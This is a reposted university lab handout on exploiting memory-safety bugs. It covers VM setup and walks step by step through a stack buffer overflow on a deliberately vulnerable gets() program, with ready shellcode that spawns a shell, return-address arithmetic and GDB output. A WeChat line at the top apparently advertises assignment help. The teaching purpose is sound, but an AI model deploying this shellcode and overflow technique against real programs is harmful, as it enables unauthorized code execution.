Hello, if you have any need, please feel free to consult us, this is my wechat: wx91due
Project 1: Exploiting Memory Safety Vulnerabilities
In this project, you will be exploiting a series of vulnerable programs on a virtual machine. You may work in teams of 1 or 2 students.
Story
This project has a story component, denoted in blue boxes. Reading it is not necessary for project completion.
The world dreams once again. The buildup of propulsion, material and computing technology reaches a critical point and rekindles the fervor of space exploration! The world looks up to the sky and dares to explore the unknown, extend our reaches and expand our understanding. You are part of the ambitious Jupiter exploration program at the Caltopia Space Agency. However, the project is plagued with problems before it even begins. The reckless orbital launches by various space programs over decades has filled lower earth orbit with space debris, preventing the massive Jupiter-bound ships from passing through. CSA must first pave the way to space by deorbiting old unused satellites. The CSA can easily deorbit their own old satellites, but the same cannot be said for satellites launched by the former Gobian Union. The CSA does not have the credentials to assume control, and the agency responsible for these satellites no longer exists. Luckily for you, these old satellites employ the old, insecure technology of a bygone era. Your job is to hack into the decommissioned satellites and remove them from orbit. The agency has faith that you can help forge a new path to Jupiter and beyond.
Getting Started
There are two options to set up the vulnerable server for the project. All functionality is the same between the two options, and you can switch between the two options without losing your progress as long as you manually copy any files over.
Option 1: Local Setup
You may choose to run the virtual machine on your local computer. The vulnerable server will be run as a virtual machine on your local device, and you can access the machine via SSH. This is the recommended setup for most students.
Windows Installation (VirtualBox)
Note: Students with x86-64 Macs may also use the VirtualBox setup, but students with M1 Macs can only use the QEMU setup in the next section.
For Windows, we recommend using VirtualBox to run the virtual machine. You can download the installer from the website and run the installer to install VirtualBox.
You will also need a client that supports SSH. The Windows Command Prompt or PowerShell may already have an SSH client installed, in which case you do not need to install anything else. Many students also already have Git Bash installed from previous classes, which will also work for this project.
After that, follow these instructions to set up the virtual machine:
- Download the VirtualBox VM image pwnable-fa24.ova.
- Open VirtualBox and import the downloaded VM image via File -> Import Applicance....
- Start the virtual machine you just imported. It should be pre-configured with the correct networking settings needed to access the machine.
We do not recommend interacting with the virtual machine using the virtual terminal that appears when you start the machine, because it does not support features such as copy-paste and mouse interaction. See the Accessing the Machine section below to find SSH access instructions.
If you run into VirtualBox issues, try locating your error in the VM debugging page and following the instructions to resolve it.
macOS and Linux Installation (QEMU)
On macOS and Linux, we recommend using QEMU to run the virtual machine.
On macOS, if you have the Homebrew package manager installed, you can install QEMU using brew install qemu. On Linux, you can install qemu-system through your distribution’s package manager (apt, or yum) (if you use pacman the package is called qemu-base).
After that, follow these instructions to set up the virtual machine:
- Download the QEMU VM image pwnable-fa24.qcow2.
-
cd to the folder containing the downloaded image and run the following command in your terminal:
$ qemu-system-x86_64 -accel kvm -accel hvf -accel tcg -m 512M -drive if=virtio,format=qcow2,file=pwnable-fa24.qcow2 -nic user,model=virtio,hostfwd=tcp:127.0.0.1:16122-:22,hostfwd=tcp:127.0.0.1:16161-:16161
We do not recommend interacting with the virtual machine using the virtual terminal that appears when you start the machine, because it does not support features such as copy-paste and mouse interaction. See the Accessing the Machine section below to find SSH access instructions.
If you run into QEMU issues, try locating your error in the VM debugging page and following the instructions to resolve it.
Note: You may safely ignore any messages of the form qemu-system-x86_64: -accel XXX: invalid accelerator XXX, qemu-system-x86_64: falling back to XXX, or qemu-system-x86_64: warning: host doesn't support requested feature: XXX. As long as the virtual machine is started (the terminal appears, and the QEMU command doesn’t immediately exit), you should be fine.
Accessing the Machine
You will be accessing the machine via SSH. Each question (and the customization step) will provide a USERNAME for accessing the machine. You can SSH into the virtual machine with the following command, replacing USERNAME with the username for the question:
$ ssh -p 16122 [email protected]
It will prompt you for a password to the vulnerable server. If the USERNAME and the password are correct, you should see a prompt starting with pwnable:~$. You are now ready to begin the project!
Option 2: Hive Setup
You should have already set up a hive account before running the steps in this section.
All steps in this section should be performed on the hive machine. Before starting this section, connect to the hive machine first by running ssh hiveX, replacing X with a number between 1 and 30.
SSH to hive troubleshooting:
- If you’re getting “Connection refused” or “Connection timeout” or other connection errors, try using a different hive between hive1 and hive30 (e.g. run ssh hive7 instead). Note: The Hivemind website can be used to check which hive machines are busy or offline.
- If you’re getting “Connection timeout” or other connection errors, make sure you’re not on the Berkeley-Visitor Wi-Fi network, which blocks SSH connections. If you’re on Berkeley-Visitor, switch to eduroam or turn on the Berkeley VPN.
-
On the hive machine terminal, run this command to start the VM:
~cs161/proj1/start
This command will take about a minute. If it worked, you should see “The virtual machine has been started.”
-
Each question (and the customization step) will provide a username and password for logging into the VM. You can SSH into the VM by running the following command on the hive machine terminal, replacing USERNAME with the username for the question:
~cs161/proj1/ssh USERNAME@pwnable
It will prompt you for a password to the vulnerable server. If the USERNAME and the password are correct, you should see a prompt starting with pwnable:~$.
You are now ready to begin the project!
Whenever you’re finished with a work session on the project, remember to shut down the VM before logging out of the SSH session by running:
~cs161/proj1/stop
Do not close the terminal window without running the stop command; this could cause setup issues later.
Customizing
Caltopian intelligence secured a copy of Gobian Union's Satellite Provisioning And Control Environment [SPACE] during the disarray following their fall. First, register your account with SPACE so you can log into satellites from the comfort of your home planet.
Regardless of which setup you have used, you will now need to customize the virtual machine. Log in to the virtual machine as the user customizer with the password customizer, and follow the subsequent prompts.
Note that customization requires your partner’s Cal ID. Both you and your partner should customize your VM using the same IDs (the order of the IDs does not matter).
If you want to do some initial exploration by yourself before you’ve finalized your team, you can start off using just your ID for this customization step. Once you have your team in place, you’ll need to start again with a clean VM image customized as mentioned here. Any exploits you’ve developed for your private VM image will need to be rewritten to be compatible with the new customization. This should go quickly once you understand the exploit.
If the IDs used by the VM are incorrect, you and your partner may fail the autograder tests. Make sure that you include your EXACT ID number.
Once you have finished customizing your virtual machine, you will receive the username and password for the first question.
Remus (Launched 1975)
- Username: remus
- Click to reveal password:
- Points: 5 for checkpoint, 5 for code, no write-up
Relevant lectures: 2 - x86 Assembly and Call Stack, 3 - Memory Safety Vulnerabilities
Orion class satellites were some of the first to be launched into orbit. Once Gobian Union's proudest achievement, these satellites are now disused and ready to be deorbited. CSA engineers recently deorbited the Orion-class satellite Romulus and prepared a manual with instructions for hacking into the satellite. Your job is to deorbit its sister satellite, Remus, using the provided manual. Old satellites often have messages from the past in their README, so once you hack into Remus, why not check out what the cosmonauts of the past had to say?
To familiarize you with the workflow of this project, we will walk you through the exploit for the first question. This part has a lot of reading, but please read everything carefully to minimize silly mistakes in later questions!
Log into the remus account on the VM using the password you obtained in the customization step above.
Starter Files
Use the ls -al command to see the files for this user. Each user (one per question) will have the following files:
-
The source code for a vulnerable C program, ending in .c. In this question, this is the orbit.c file.
-
A vulnerable C program (the name of the source file without the .c). In this question, this is the orbit file.
-
exploit: A scaffolding script that takes your malicious input and feeds it to the vulnerable program.
-
debug-exploit: A debugging version of the scaffolding script that takes your malicious input and starts GDB.
-
README: The file you want to read.
Preliminaries
Your task is to read the README file for each user. You can start by trying the cat command, which is used to read files and print them to the output. First, try this with cat WELCOME. You should see the contents of the WELCOME file on your terminal.
Now, try reading the contents of README using cat README. We don’t have permission to read the file! The file is only accessible to the next user.
Luckily, each user also has a vulnerable C program that has permission to read the README file. If exploit the C program, you can take over the program and force it to execute code that reads the README file with its elevated privileges!
Your goal for each question will be to write this exploit as a malicious input to the vulnerable C program in order to access the restricted README file, where you will find the username and password for the next question.
Writing the Exploit
First, open orbit.c and take a look at the source code. You can use cat orbit.c or open orbit.c in a terminal text editor. Notice that this question uses the vulnerable gets function! (If you need a refresher of what gets does, use man gets to check the man pages.)
You can quickly check that this has a memory safety vulnerability. Normally, you would use ./orbit to run the vulnerable program, but because we want to ensure that our addresses are consistent, you should run the program using ./exploit instead. Run the program, and try typing AAAAAAAAAAAAAAAA followed by the Enter key. You should see that the program segfaults!
This means that, if you provide a specially crafted input to the orbit program, you can cause it to execute your own, malicious code, called shellcode. We will write our input using Python 3, stored in an egg file. Whatever bytes are printed from the egg file will be sent as input to the vulnerable program. Note that at the top of all of our files, including the egg file, is a shebang line. The shebang line tells the operating system that this executable should be run as a Python file:
#!/usr/bin/env python3
Because Python 3 prints all strings as UTF-8 encoding, the Python text string '\x80' is not necessarily printed as the byte 0x80 but instead as the byte sequence 0xc2 0x80. To avoid this problem, the next line changes Python’s text encoding to latin1, which encodes any text character in the range '\x00'–'\xff'5 as the raw byte 0x00–0xff, so text strings function as byte strings as shown in lecture:
import sys
sys.stdout.reconfigure(encoding='latin1')
Your shellcode for this question will cause the vulnerable program to spawn a shell that you can directly interact with. The shellcode is provided in Python 3 syntax below:
SHELLCODE = \ '\x6a\x32\x58\xcd\x80\x89\xc3\x89\xc1\x6a' \ '\x47\x58\xcd\x80\x31\xc0\x50\x68\x2d\x69' \ '\x69\x69\x89\xe2\x50\x68\x2b\x6d\x6d\x6d' \ '\x89\xe1\x50\x68\x2f\x2f\x73\x68\x68\x2f' \ '\x62\x69\x6e\x89\xe3\x50\x52\x51\x53\x89' \ '\xe1\x31\xd2\xb0\x0b\xcd\x80'
In this syntax, note that a function address like 0xffabcd09 becomes '\x09\xcd\xab\xff'. The order of the bytes is reversed since we work in a little-endian system.
In this question, you will be modifying the egg file. We have provided vim and nano in the virtual machine. Here’s a vim cheatsheet for your convenience.
The script will be treated as a standard Python file. You will want to include the SHELLCODE we have provided above, and your input will be whatever is printed from Python.
Running GDB
To find the addresses you need to exploit this program, you will need to try running the vulnerable program under GDB. Normally, you would use gdb orbit in order to run the program. However, to make sure the GDB addresses match the addresses you get from running the program normally, we will use ./debug-exploit instead. This will give you a GDB terminal for you to find addresses and debug the logic of the program.
Running Your Exploit
The exploit wrapper script we have provided will automatically feed the output from the egg script into the input of the vulnerable program. If you’re curious, you can use cat exploit to see how we achieve this. To run it, use ./exploit.
If your egg file is correct, the vulnerable program will launch a shell, and typing cat README (followed by a newline) after running ./exploit should print the contents of README!
Debugging Your Exploit
If your exploit doesn’t work, you can use GDB to see how the program functions while receiving the input from your egg. The debug-exploit wrapper script will automatically run GDB, with the program receiving the output from your egg as input. To run it, use ./debug-exploit.
From here, you can use gdb as you normally would, and any calls for input will come from your exploit scripts.
Note: Recall that x86 is little-endian, so the first four bytes of the shellcode will appear as 0xcd58326a in the debugger. To write 0x12345678 to memory, use '\x78\x56\x34\x12'.
Write-up
Each question (except for this one) will require a write-up. Each question’s write-up should contain the following pieces of information:
- A description of the vulnerability
- How any relevant “magic numbers” were determined, usually with GDB
- A description of your exploit structure
- GDB output demonstrating the before/after of the exploit working
Summary
We recommend the following steps (as described above) for every question of this project:
- Look at the source code of the vulnerable program and try to find a vulnerability.
- Run the program with ./exploit to make sure you understand what the program is really doing.
- Run the program in GDB with ./debug-exploit and find any magic values or addresses you need.
- Write your exploit scripts for the question.
- Test your malicious scripts with ./exploit. Some questions (including this one) spawn a shell, so try typing cat README followed by a newline.
- If it doesn’t work, use ./debug-exploit to debug your exploit. Tweak your exploit, and try again!
To help you out, we have provided an example write-up for this question only. You will need to submit your own write-ups for the rest of the questions.
With the help of the example write-up, write out the input that will cause orbit to spawn a shell. A video demo is also available at this link.
Deliverables
- A script egg
No write-up required for this question only.
Example Write-Up
Main Idea
The code is vulnerable because gets(buf) does not check the length of the input from the user, which lets an attacker write past the end of the buffer. We insert the shellcode above the saved return address on the stack (rip) and overwrite the rip with the address of the shellcode.
Magic Numbers
We first determined the address of the buffer (0xbffffc18) and the address of the rip of the orbit function (0xbffffc2c). This was done by invoking GDB and setting a breakpoint at line 5.
(gdb) x/16x buf 0xbffffc18: 0x41414141 0xb7e5f200 0xb7fed270 0x00000000
0xbffffc28: 0xbffffc18 0x0804842a 0x08048440 0x00000000
0xbffffc38: 0x00000000 0xb7e454d3 0x00000001 0xbffffcb4
0xbffffc48: 0xbffffcbc 0xb7fdc858 0x00000000 0xbffffc1c
(gdb) i f Stack frame at 0xbffffc10:
eip = 0x804841d in orbit (orbit.c:8); saved eip 0x804842a
called by frame at 0xbffffc40
source language c.
Arglist at 0xbffffc28, args:
Locals at 0xbffffc28, Previous frame's sp is 0xbffffc30
Saved registers:
ebp at 0xbffffc28, eip at 0xbffffc2c
By doing so, we learned that the location of the return address from this function was 20 bytes away from the start of the buffer (0xbffffc2c - 0xbffffc18 = 20).
Exploit Structure
Here is the stack diagram (You don’t need a stack diagram in your write-up).
| rip (0xbffffc2c) |
| sfp |
| compiler padding |
| buf (0xbffffc18) |
The exploit has three parts:
-
Write 20 dummy characters to overwrite buf, the compiler padding, and the sfp.
-
Overwrite the rip with the address of the shellcode. Since we are putting shellcode directly after the rip, we overwrite the rip with 0xbffffc30 (0xbffffc2c + 4).
-
Finally, insert the shellcode directly after the rip.
This causes the orbit function to start executing the shellcode at address 0xbffffc30 when it returns.
Exploit GDB Output
When we ran GDB after inputting the malicious exploit string, we got the following output:
(gdb) x/16x buf
0xbffffc18: 0x61616161 0x61616161 0x61616161 0x61616161 0xbffffc28: 0x61616161 0xbffffc30 0xcd58326a 0x89c38980 0xbffffc38: 0x58476ac1 0xc03180cd 0x2f2f6850 0x2f686873 0xbffffc48: 0x546e6962 0x8953505b 0xb0d231e1 0x0080cd0b
After 20 bytes of garbage (blue), the rip is overwritten with 0xbffffc30 (bolded and red), which points to the shellcode directly after the rip (green).
Note: you don’t need to color-code or bold your gdb output in your write-up.